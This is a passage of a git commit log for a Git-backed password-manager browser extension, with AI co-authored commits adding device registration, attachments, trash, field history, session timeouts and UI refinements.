- Step 3b attach flow with decrypt verification
- Step 5 unified device registration (fixes silent-drop pubkey bug)
- Default vault_settings_json WASM export + wizard settings.enc write
  (fixes runtime get_vault_settings 404 reported on wizard-init vaults)
- Version bump to 0.2.0 + CHANGELOG

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 17:42:00 -04:00
adlee-was-taken
44fc157f35 docs: spec for attach-existing-vault wizard split (v0.2.0)
Setup wizard currently overwrites existing vaults silently. Adds a
mode picker (create new / attach this device), a vault-presence probe
after the connection test, and a Step 3b that verifies passphrase +
reference image by decrypting the manifest before registering a new
device key. Refuses destructive overwrite from the GUI; users wanting
a clean slate must delete the repo via their host's web UI.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 17:33:07 -04:00
adlee-was-taken
ce59223fc0 feat(ext): shared state host — decouple components from popup.ts
Introduce shared/state.ts as a service-locator so popup components
(item-detail, item-form, trash, devices, settings, etc.) work in both
the popup and vault tab bundles. Both entry points register themselves
as the host; components import from shared/state instead of popup.ts.
Vault.ts now delegates to the real popup components, removing ~300 lines
of placeholder renderers.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-27 16:38:06 -04:00
adlee-was-taken
6c8ebb3548 feat(ext/vault): scaffold vault.html tab with sidebar+pane layout and hash routing
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-27 15:53:53 -04:00
adlee-was-taken
7e0950e364 feat(ext/popup): session expiry listener, open-vault links, Shift+F shortcut
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-27 15:46:32 -04:00
adlee-was-taken
101f0093a4 fix(ext/sw): review fixes — storage key, timer reset scope, imports
- Rename storage key sessionTimeoutConfig → session_timeout (plan spec)
- Only call resetTimer() for non-content-script message types so content
  script polling cannot keep the session alive
- Collapse two same-module imports into one line; add CONTENT_CALLABLE_TYPES

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-27 15:44:13 -04:00
adlee-was-taken
86621f075f feat(ext/sw): add session inactivity timer with configurable timeout
Implements a service-worker-side session timer that locks the vault
after a configurable period of inactivity (default 15 min). Supports
two modes: 'inactivity' (timer-based) and 'every_time' (no timer).
Config persists via chrome.storage.local and is exposed through
get_session_config / update_session_config popup messages.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-04-27 02:24:26 -04:00
adlee-was-taken
bd13854f59 docs: vault tab + session timeout implementation plan
7 tasks: session timer, popup navigation, vault scaffold,
shared state host, device settings, router fix, manual testing.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 02:19:31 -04:00
adlee-was-taken
5089c2b7ea docs: vault tab UI + session timeout design spec
Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 02:13:26 -04:00
adlee-was-taken
9488670b1b fix(ext/popup): fix reversed search, remove auto-focus, Enter opens items
- Search no longer auto-focuses; use "/" to focus it
- Typing in search no longer re-renders the entire view, just the
  item list — fixes backwards text caused by cursor reset to pos 0
- Arrow keys also update list without full re-render
- Enter opens the selected item even when search is focused

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 02:10:23 -04:00
adlee-was-taken
8f603ec069 fix(ext/router): allow popup.html with query params
The router was doing exact URL match for popup.html, but when
opened in a tab with params (?view=add&type=card), it failed.
Changed to startsWith match like setup.html already uses.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 01:49:59 -04:00
adlee-was-taken
446949c5ce fix(ext/popup): auto-popout for attachment types, keep login/note in popup
- Login and secure_note types stay in popup without attachment UI
- All other types (identity, card, key, totp, document) auto-redirect
  to full tab when selected
- Attachments only shown for login/secure_note when opened in tab

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 01:42:35 -04:00
adlee-was-taken
c59e6892d8 feat(ext/popup): add pop-out to tab for forms
Forms can now be opened in a full browser tab via the ⤴ button,
solving Chrome's popup closure on file picker interaction. Deep
linking via URL params preserves view, item type, and item ID.

Also removes the unused dropdown picker code from item-list.ts.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 01:32:39 -04:00
adlee-was-taken
39db697ce5 fix(ext/popup): replace item type dropdown with selection view
Clicking "+ new" now navigates to a type selection view instead of
showing a dropdown that gets clipped by popup bounds. The selection
view displays all item types as buttons in a scrollable list.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 01:21:14 -04:00
adlee-was-taken
eb14946f06 feat(ext/setup): add device name step to setup wizard
New step 4 after vault creation: enter device name (defaults to
"Chrome on Linux" based on detected browser/OS). Generates ed25519
keypair, stores private key in chrome.storage.local, registers
device with vault. Wizard is now 5 steps (was 4).

Also adds generate_device_keypair() to wasm.d.ts type declarations.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 01:04:10 -04:00
adlee-was-taken
abfc5aed42 feat(ext/popup): wire navigation for trash, devices, field-history screens
Adds View variants, render cases, teardown calls, and entry points
in settings menu for trash and devices.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 00:42:53 -04:00
adlee-was-taken
b55c59bd35 feat(ext/popup): add attachment cap setting to vault settings
Dropdown with 5/10/25/50 MB presets for per_attachment_max_bytes.
Other caps remain at defaults.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 00:37:43 -04:00
adlee-was-taken
2fa54e2144 feat(ext/popup): add "View history" link to login detail view
Shows button when item.field_history is non-empty. Navigates to
field-history screen with historyItemId set.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 00:32:16 -04:00
adlee-was-taken
3b4788e5dc feat(ext/popup): field history view — masked values with reveal toggle
Shows current + historical values for tracked fields (password/concealed).
Click to reveal, copy button per entry (plaintext stored in a module-level
Map, never embedded in the DOM). Grouped by field name if multiple tracked
fields exist. Adds historyItemId to PopupState and 'field-history' to View.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 00:23:54 -04:00
adlee-was-taken
7fe54472b3 feat(ext/popup): devices view — list devices with revoke actions
Shows registered devices with "← you" indicator on current device.
Revoke button on other devices. Unregistered banner if current
device not in list.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-27 00:19:59 -04:00
adlee-was-taken
9fbf9bb3ee feat(ext/popup): trash view — list trashed items with restore/purge
Shows trashed items sorted newest-first with restore buttons.
Empty trash button purges all items + orphan blobs. Header shows
count and days until oldest auto-purges.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-26 19:28:56 -04:00
adlee-was-taken
39a8e12438 feat(ext/sw): get_field_history handler
Decrypts item and calls WASM get_field_history to extract tracked
field history for the popup's history view.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-26 17:49:59 -04:00
adlee-was-taken
d2cb6d8461 feat(ext/sw): trash operations — listTrashed, restoreItem, purgeItem, purgeAllTrash
listTrashed filters manifest for trashed_at != null, sorted newest-first.
restoreItem clears trashed_at. purgeItem deletes item + attachments.
purgeAllTrash also scans for orphan blobs in attachments/ directory.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-26 15:57:08 -04:00
adlee-was-taken
0003c3e658 feat(ext/sw): device management — devices.ts + router handlers
Adds readDevices, addDevice, revokeDevice helpers that read/write
.relicario/devices.json. Router handlers: list_devices, add_device,
revoke_device.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-26 15:53:08 -04:00
adlee-was-taken
5a001a805c feat(ext/shared): add Device + FieldHistory types + 8 new message types
Device: name, public_key (hex), added_at.
FieldHistoryView: field_id, field_name, current_value, entries[].
Messages: list_devices, add_device, revoke_device, list_trashed,
restore_item, purge_item, purge_all_trash, get_field_history.

Also adds stub cases in popup-only.ts switch to keep tsc happy until
Tasks 3-5 wire up the real handlers.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-26 15:49:01 -04:00
adlee-was-taken
caebe9f97e feat(wasm): add generate_device_keypair + get_field_history bindings
generate_device_keypair returns an ed25519 keypair as JSON with hex pubkey
and base64 private key. get_field_history extracts tracked field history
from a decrypted item for the popup's history view.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-04-26 15:44:04 -04:00
adlee-was-taken
af050f176c docs(plan): Plan 1C-γ₂ — device registration + trash + history + caps
13 tasks, bottom-up layering:
1. WASM bindings (generate_device_keypair, get_field_history)
2. Shared types + messages
3-5. Service worker handlers (devices, trash, field history)
6-8. Popup screens (trash, devices, field-history)
9. Item detail "View history" link
10. Vault settings attachment cap
11. Popup navigation wiring
12. Setup wizard device name step
13. Manual browser testing

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-04-26 15:39:19 -04:00
adlee-was-taken
3372358b31 docs(spec): Plan 1C-γ₂ — device registration + trash + field history + attachment caps
Four features completing Plan 1C: device ed25519 keypair registration
during setup wizard, device management UI, trash view with restore/purge
(including orphan blob cleanup), per-item field history view, and
per-attachment size cap setting in vault settings.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-04-26 15:32:28 -04:00
adlee-was-taken
ab36dbd31a feat(ext/popup): wire Document type into form + detail + list dispatchers
Document is no longer 'coming soon' — the type chooser unlocks it,
form dispatcher routes to documentType.renderForm, detail dispatcher
routes to documentType.renderDetail. teardown chains include documentType.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 20:46:26 -04:00
adlee-was-taken
9c481422ad fix(ext/popup): revoke object URLs in Document detail teardown
Two leaks from 705b171:
1. Lazy-load thumb for image-mime primary attachments created
   URL.createObjectURL but never revoked. Now tracked in a
   module-level registry, revoked on teardown.
2. 🔍 preview toggle's object URL same issue. Now tracked, revoked
   on teardown + on toggle-off (when user clicks the preview button
   to collapse).

Download button's URL (already self-cleaning via setTimeout) left
untracked — no change.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 20:41:34 -04:00
adlee-was-taken
705b171553 feat(ext/popup): Document item type — form + signature-block detail
Form requires title + primary_attachment; the primary-row picker is
compact in edit mode (dashed-border when empty, filename row when
filled). Detail view promotes the primary to a gold signature block
(48×60 thumb + filename + meta + ↓ download · 🔍 preview). For image-
mime primaries, the thumb lazy-loads via decrypt + object-URL; the
preview button toggles an inline expanded view.

Supplementary attachments use the standard compact disclosure (Task 7)
when present.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 18:58:52 -04:00
adlee-was-taken
6ef7aaca53 feat(ext/popup): wire attachments disclosure into 6 type forms + 📎 list indicator
Each existing type form (Login, SecureNote, Identity, Card, Key, TOTP)
renders + wires the attachments-disclosure in both edit and view modes.
Form save reads from attachmentsDraft; teardown revokes any image
object URLs. Item-list rows show a 📎 glyph for items with at least
one attachment.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 16:33:21 -04:00
adlee-was-taken
dcb1590391 fix(ext/popup): guard against sendMessage returning undefined; doc re-wire contract
Two follow-ups from code review of c5f0449:

1. In MV3 the SW can be killed mid-message; sendMessage then resolves
   to undefined. Add `(!resp || !resp.ok)` guards at 4 call sites
   (fetchThumbUrl, settings fetch, upload, download) plus optional
   chaining on error accessors.

2. JSDoc on wireAttachmentsDisclosure documents the "call once per DOM
   instance" contract — Task 8's re-wire pattern works because it
   replaces outerHTML before re-attaching, destroying old listeners
   via GC.

Module-level objectUrlRegistry concern (concurrent disclosure
instances) deferred — current popup architecture renders one item at
a time, so the issue doesn't manifest today.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 16:23:42 -04:00
adlee-was-taken
c5f0449843 feat(ext/popup): attachments-disclosure shared component
Compact disclosure rendering attachment rows with an action column
(× in edit, ↓ in view). Image-mime rows lazily decrypt + show a 16×16
thumb via object URLs; teardown revokes them on disclosure close. Edit
mode adds a "+ attach file" button wired to a hidden file input that
checks vault caps client-side before sending upload_attachment to SW.
6 new tests; total ~143.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 16:16:57 -04:00
adlee-was-taken
b9c495cdea fix(ext/sw): clarify cap layering + harden download path
Two small follow-ups from code review of 5217d04:

1. Document the cap-enforcement layering in the upload handler. SW
   enforces per_attachment_max_bytes via WASM (defense-in-depth);
   per_item_max_count and per-vault caps are enforced client-side
   in the popup (Task 7's attachments-disclosure).

2. Use ref.id (the validated value found on the item) instead of
   msg.attachmentId for blobPath construction in download_attachment.
   Eliminates a theoretical path-traversal surface even though the
   handler is popup-only.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 16:11:49 -04:00
adlee-was-taken
5217d04034 feat(ext/sw): upload_attachment + download_attachment router handlers
Both popup-only. upload_attachment encrypts via WASM, putBlobs via
GitHost (Git Data API fallback for >900 KB), persists the AttachmentRef
on the item + manifest summaries. Duplicate uploads (same content =
same id from sha256) return the existing ref without a re-upload.
download_attachment reads + decrypts and returns plaintext bytes for
the popup to wrap in a Blob. 4 new router tests (accept × 2, reject × 2).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 16:04:06 -04:00
adlee-was-taken
559c881dca feat(ext/sw): vault helpers for attachment add/remove
addAttachmentToItem appends an AttachmentRef + re-syncs the manifest
entry's attachment_summaries. removeAttachmentsFromItem returns the
removed refs so the caller can deleteBlob() the underlying bytes.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 15:57:14 -04:00
adlee-was-taken
27ca91234f feat(ext/sw): GiteaHost.putBlob with Git Data API fallback
Same shape as GitHubHost (commit dc660c4) — Gitea v1 has /api/v1/
prefix, otherwise the endpoint shapes are identical. 2 new tests;
total 5 git-host tests.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 15:46:02 -04:00
adlee-was-taken
dc660c4ce8 fix(ext/sw): consistent error detail across all 6 putBlob throw paths
The two GET steps (get-ref, get-commit) used resp.statusText, which is
often empty on HTTP/2. Now they read resp.text() like the other 4 throw
paths so every error message includes GitHub's response body for
debugging.

Plus a test assertion for calls[2] in the Git Data API path so a
transposition of GET ref / GET commit would be caught.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 15:42:19 -04:00
adlee-was-taken
63fcfae72c feat(ext/sw): GitHubHost.putBlob with Git Data API fallback
Blobs ≤ BLOB_THRESHOLD_BYTES (900 KB) take the Contents API path
(same as writeFile). Larger blobs use the Git Data API: POST blob,
GET ref + commit, POST tree (with base_tree), POST commit, PATCH ref.
Tests cover both paths plus error propagation.

getBlob/deleteBlob are thin wrappers over readFile/deleteFile.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 15:36:10 -04:00
adlee-was-taken
511d533de0 feat(ext/sw): extend GitHost interface with putBlob/getBlob/deleteBlob
Adds the three blob ops to the interface and a BLOB_THRESHOLD_BYTES
constant. Both GitHubHost and GiteaHost ship temporary stubs so the
build stays green until tasks 3-4 fill in real implementations.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 09:46:24 -04:00
adlee-was-taken
71c182af9a fix(ext/shared): correct AttachmentCaps field names to match Rust core
The previous commit (f963ae3) used per_item_max_bytes and per_vault_*_max_bytes
which don't match the Rust core's struct (per_item_max_count and
per_vault_*_cap_bytes). Also fixes the per-item semantics: it's a COUNT of
attachments per item, not a byte sum.

Spec and plan docs updated in-place so future Task 7 cap-enforcement
implementation uses the correct names + semantics.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 09:42:51 -04:00
adlee-was-taken
f963ae33af feat(ext/shared): tighten VaultSettings.attachment_caps to AttachmentCaps
All four cap fields optional; undefined means uncapped. γ₁ enforces;
γ₂ adds the configuration UI.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 01:54:40 -04:00
adlee-was-taken
0589fe3123 docs(plan): Plan 1C-γ₁ — attachments + Document type implementation
11 tasks, ~10 commits. Bottom-up layering:
- T1: tighten AttachmentCaps type
- T2: GitHost interface extension (putBlob/getBlob/deleteBlob)
- T3: GitHubHost impl with Git Data API fallback + tests
- T4: GiteaHost impl + tests
- T5: SW vault helpers (addAttachmentToItem, removeAttachmentsFromItem)
- T6: SW router handlers (upload/download_attachment) + tests
- T7: shared attachments-disclosure component + CSS + tests
- T8: wire disclosure into 6 type forms + 📎 list indicator
- T9: Document type form + signature-block detail + CSS + tests
- T10: dispatcher routes Document
- T11: build + verify + manual smoke

Test count target: 145 (was 128 + ~17 new across git-host, router,
disclosure, document.save).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 01:52:20 -04:00
adlee-was-taken
6f5ef43fe1 docs(spec): Plan 1C-γ₁ — attachments + Document type
Wires Rust attachment-encrypt surface into the extension. Adds GitHost
putBlob/getBlob/deleteBlob ops with Git Data API fallback for blobs
>900 KB (Contents API base64-bloats and rejects past ~1 MB). Adds the
Document item type (deferred from β₁ — needs primary_attachment).

UX: compact disclosure for attachments on every typed-item form (matches
β₂ custom-fields pattern). Image-mime rows get 16×16 thumb-icons (lazy
decrypt + object-URL lifecycle). Document detail promotes the primary
attachment to a gold "signature block" matching Totp's pattern. Item-list
gets a 📎 indicator (no count) for items with attachments.

γ₂ (later) covers trash + field-history + device + caps UI.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 01:43:54 -04:00
adlee-was-taken
6904f729dc fix(ext/popup): update stale generator-popover mock names in settings-vault test
The mock in settings-vault.test.ts referenced the old function names
openGeneratorPopover and closeGeneratorPopover, which were renamed to
openGeneratorPanel and closeGeneratorPanel during the refactor. Update
the mock to use the current function names.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 01:18:38 -04:00
adlee-was-taken
010c4263ba fix(ext/popup): stop Escape from leaking past the generator panel
Two related bugs from the gen-panel rewrite (ac15f06):

1. Escape key was bubbling to view-level keydown handlers in login.ts
   and settings-vault.ts, causing the press that closed the panel to
   also navigate the user away from the form/settings. Fix: call
   e.stopPropagation() in the panel's escHandler before closing.

2. settings-vault.teardown() didn't close any open generator panel,
   leaving the panel's escHandler registered and activePanel state
   stale across view transitions. Fix: call closeGeneratorPanel()
   first in teardown.

Plus a configure-defaults context test for the action-row composition
(no use/cancel buttons in that context).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 00:36:10 -04:00
adlee-was-taken
ac15f060e9 feat(ext/popup): rewrite generator as inline panel with trigger
The popover (which clipped off the popup edge) becomes an inline panel
that mounts inside the form (login.ts) or settings section
(settings-vault.ts). Trigger button is  with aria-expanded toggling.
Action row varies by context: fill-field has cancel+use; configure-
defaults has only the save-default link. Escape key closes the panel.
Tests adapted to new API; 3 new tests for aria-expanded, auto-generate,
and Escape behavior.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 23:30:55 -04:00
adlee-was-taken
b03058abd9 refactor(ext/popup): update import paths after generator-popover → generator-panel rename
Update all import statements to reference the new generator-panel module name.
- generator-panel.test.ts: update internal import
- settings-vault.test.ts: update mock import
- settings-vault.ts: update import
- types/login.ts: update import

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 23:21:00 -04:00
adlee-was-taken
c9cd3696ae refactor(ext/popup): rename generator-popover module to generator-panel
Pure rename via git-mv (preserves history). Function names and behavior
unchanged. Sets up the API rewrite in the next commit.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 23:20:50 -04:00
adlee-was-taken
083b01aa91 feat(ext/popup): lowercase form labels + gold required marker
.label drops text-transform: uppercase and tightens letter-spacing.
The `*` required marker gets wrapped in <span class="req"> so it
picks up the gold accent color (matches palette refresh).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 23:15:44 -04:00
adlee-was-taken
3c0f8d2c5c docs(plan): generator UX redesign — inline panel + trigger
4 tasks, ~3 commits. Task 1 polishes labels (lowercase + gold *).
Task 2 git-mvs the popover module to generator-panel. Task 3 rewrites
the panel with new API (parent + trigger + context), updates both
callers (login.ts, settings-vault.ts) for  + inline mount, swaps
CSS, adapts existing tests + adds 3 new ones (aria-expanded, auto-gen,
Escape). Task 4 verifies build + tests + manual smoke.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 23:13:43 -04:00
adlee-was-taken
9add305a10 docs(spec): generator UX redesign — inline panel + trigger
Replaces the right-anchored popover (which clips off the popup edge)
with an inline panel that injects into the form below the password row.
Trigger becomes a  icon button (gold-bg). "save default" demoted to
secondary link; single gold "use" CTA. Bundles label-casing polish
(drop CAPS LOCK, gold required marker) since .label is shared.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 23:06:56 -04:00
adlee-was-taken
f32fe93202 feat(ext/setup): sweep inline colors for palette refresh
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 22:23:34 -04:00
adlee-was-taken
bbafe7fb7e feat(ext): sweep inline blue/red colors to gold/theca-red
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 22:20:16 -04:00
adlee-was-taken
5bc75c9f8a feat(ext/popup): rename sig-block--blue to --gold for accuracy
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 22:15:46 -04:00
adlee-was-taken
976db85a45 feat(ext/popup): swap blue accent palette for burnished gold
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 22:10:03 -04:00
adlee-was-taken
61b16779ab fix(icons): cap PNG bit depth at 8 per channel
ImageMagick defaults to 16-bit/channel; web/extension icons should be
8-bit/channel. Cuts ~30-40% off each icon's file size with zero visual
difference.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 22:05:20 -04:00
adlee-was-taken
5e04fcf1ca feat(icons): regenerate PNGs from refreshed SVG masters
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 22:01:36 -04:00
adlee-was-taken
ae6b025435 feat(icons): replace 16px logo with bare medallion variant
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 21:54:19 -04:00
adlee-was-taken
a3f13fd2af feat(icons): replace master logo with reliquary theca + fleur
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 21:50:18 -04:00
adlee-was-taken
7b5d36603b docs(test-runs): β₁+β₂ manual test matrix for typed-items
Sections A (β₁ types: Login spot-check + SecureNote/Identity/Card/Key/Totp),
B (β₂ surfaces: custom fields, vault settings, generator popover, ⚙ picker),
C (cross-cutting: field history, icons, search, sync, Firefox parity).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 21:46:27 -04:00
adlee-was-taken
b5743efa67 docs(plan): logo refresh + extension palette shift implementation
8 tasks, 7 commits, no worktree. Tasks 1-3 build assets; Task 4 sweeps
styles.css palette; Task 5 renames sig-block--blue to --gold; Tasks 6-7
sweep inline colors in 6 TS files + setup.html; Task 8 verifies.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 21:46:23 -04:00
adlee-was-taken
4b7f1fd6d6 docs(spec): logo refresh + extension palette shift to burnished gold
Round chapel-style theca with fleur-de-lis finial replaces the arched
niche + blue gem. Extension primary accent shifts from GitHub blue to
B/C-midpoint burnished gold; danger red shifts to theca tone. Backgrounds
and text stay GH-dark to keep the CLI feel.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 21:36:31 -04:00
adlee-was-taken
783cb7cc2b Merge Plan 1C-β₂: custom fields + settings + generator UI
Final β sub-plan. Adds three cross-cutting UI surfaces on top of β₁'s
typed-item forms:

- Custom-fields editor: collapsible disclosure in every type's edit
  form; sections + fields of kind text/password/concealed (other 8
  FieldKinds preserved untouched on save). Always-visible below typed
  rows in detail mode. Add/remove sections + fields, rename sections.
- Generator inline popover: invoked at every gen-button. Random vs
  BIP39 toggle, length/word-count slider, charset checkboxes, live
  preview on 150ms debounce. Actions: use-this-value / save-as-default
  / reset-to-defaults / cancel. Shared with the Settings 'configure'
  button.
- Full VaultSettings view: trash + field-history retention picks,
  generator-default summary + 'configure' link, autofill origin-ack
  list with per-host revoke. Save / discard with deep-equal dirty check.
- Two new popup-only messages (get/update_vault_settings) wrapping
  α's existing fetchAndDecrypt/encryptAndWriteSettings. NOT in
  SETUP_ALLOWED.
- generate_passphrase popup-only message + handler (BIP39 preview).
- VaultSettings TS types tightened (TrashRetention/HistoryRetention
  tagged unions; generator_defaults typed as GeneratorRequest;
  attachment_caps still opaque pending γ).
- ⚙ toolbar button now opens a 2-option picker (device / vault).

Five-slice execution: 13 commits + 1 mid-slice fix for unsupported-kind
field preservation + Totp kind-toggle disclosure-state. Tests 84 → 124
Vitest (+40); 155 Rust unchanged. Both Chrome + Firefox bundles
compile clean. All lint greps clean.

Tag plan-1c-beta2-complete points at fba50b8 (branch tip).
2026-04-24 19:49:34 -04:00
adlee-was-taken
fba50b89e8 feat(ext/popup): ⚙ picker → device/vault settings
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 19:32:07 -04:00
adlee-was-taken
15fcaf9797 feat(ext/popup): vault-settings screen (retention + generator + origin-ack revoke)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 19:31:17 -04:00
adlee-was-taken
531af03ff1 feat(ext/popup): login gen-btn opens generator popover; teardown closes it 2026-04-24 19:25:52 -04:00
adlee-was-taken
8a16482b9c feat(ext/popup): generator-popover component (Random + BIP39) 2026-04-24 19:24:19 -04:00
adlee-was-taken
af432de320 feat(ext/popup): fetch vault_settings on unlock; add to PopupState 2026-04-24 19:18:53 -04:00
adlee-was-taken
025629cacf feat(ext/sw): generate_passphrase popup-only message 2026-04-24 18:57:11 -04:00
adlee-was-taken
e47945d86a feat(ext/sw): get_vault_settings + update_vault_settings popup-only messages 2026-04-24 18:56:17 -04:00
adlee-was-taken
b52e49a51e feat(ext/shared): tighten VaultSettings types for retention + generator_defaults 2026-04-24 18:54:21 -04:00
adlee-was-taken
6ba9ccfa4c fix(ext/popup): preserve unsupported-kind fields + totp expanded state
Two fixes from the T3+T4 code review:

C1 (Critical): renderSectionBlock previously rendered all fields
regardless of kind. For fields with kind url/date/month_year/totp/etc.
(from CLI-created items), the editor showed a blank value input; if
the user typed anything, the input handler cast the kind to the
wrong thing and silently overwrote the structured value with a
string — destroying data. Fix: filter editor to supported kinds
(text/password/concealed); key data-* attributes by field.id (not
by index) so handlers look up the correct field regardless of what
the render loop emitted. Unsupported-kind fields survive save
untouched. A small muted note "N fields of unsupported kind (edit
via CLI)" flags preserved entries. +2 tests.

I1 (Important): totp.ts's kind-toggle reRender read the module-
scope sectionsExpanded flag which was only updated on structural
mutations — so toggling the disclosure open without adding/removing
anything left the flag stale, and clicking Random/BIP39 collapsed
the disclosure. Fix: read data-expanded from the live DOM before
innerHTML swap.
2026-04-24 18:51:23 -04:00
adlee-was-taken
e1d32b0379 feat(ext/popup): wire custom-field editor into all 6 type forms
Each typed-item form now mounts the collapsible sections editor before
the form-actions. Save functions accept sectionsDraft and persist it
via Item.sections so custom fields round-trip correctly.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 18:17:22 -04:00
adlee-was-taken
3264cccb60 feat(ext/popup): renderSectionsEditor + wireSectionsEditor helpers
Adds the collapsible custom-fields editor (disclosure toggle, add/remove
sections + fields, in-place label/value mutation). Module-level helpers
only: caller owns the sectionsDraft and triggers rerender on structural
changes.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 18:10:09 -04:00
adlee-was-taken
553d9d7ca9 feat(ext/popup): render custom sections in all 6 type detail views 2026-04-24 10:35:46 -04:00
adlee-was-taken
3f12543c81 feat(ext/popup): renderSections helper for custom-field detail rendering 2026-04-24 10:28:10 -04:00
adlee-was-taken
2ca563a8cd docs: Plan 1C-β₂ (custom fields + settings + generator UI) implementation plan
13 tasks across 5 slices + pre-flight + acceptance. Follows α/β₁'s
cadence — each task one commit, each step 2-5 minutes, complete
code in every step.

Slice 1 — Custom-fields detail rendering (Tasks 1-2):
  renderSections helper + 6-type-module integration.
Slice 2 — Custom-fields edit rendering (Tasks 3-4):
  renderSectionsEditor + wireSectionsEditor + generateFieldId
  helpers, disclosure integration across all 6 forms, per-type
  save-shape smoke test.
Slice 3 — Vault-settings SW plumbing (Tasks 5-8):
  tighten VaultSettings TS types; add get/update_vault_settings
  popup-only messages + router tests; add generate_passphrase if
  missing; fetch vault_settings on popup unlock.
Slice 4 — Generator inline popover (Tasks 9-10):
  generator-popover component + 7 unit tests; Login gen-btn
  integration + teardown hook.
Slice 5 — Settings view + ⚙ picker (Tasks 11-13):
  settings-vault component + 5 tests; ⚙ picker → device/vault
  routes; final lint greps + tag.

Expected test delta: 84 → ~121 Vitest.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-24 00:09:25 -04:00
adlee-was-taken
62112f50f9 docs: Plan 1C-β₂ (custom fields + settings + generator UI) design spec
Third β sub-plan. Adds cross-cutting UI surfaces on top of β₁'s typed-
item forms:

- Custom-fields editor: collapsible disclosure in edit forms; sections
  + fields of kind Text/Password/Concealed (other 8 FieldKinds deferred).
  No reordering. Always-visible below typed rows in detail mode.
- Full VaultSettings view: trash retention, field-history retention,
  generator defaults (preview + "configure" link to the popover),
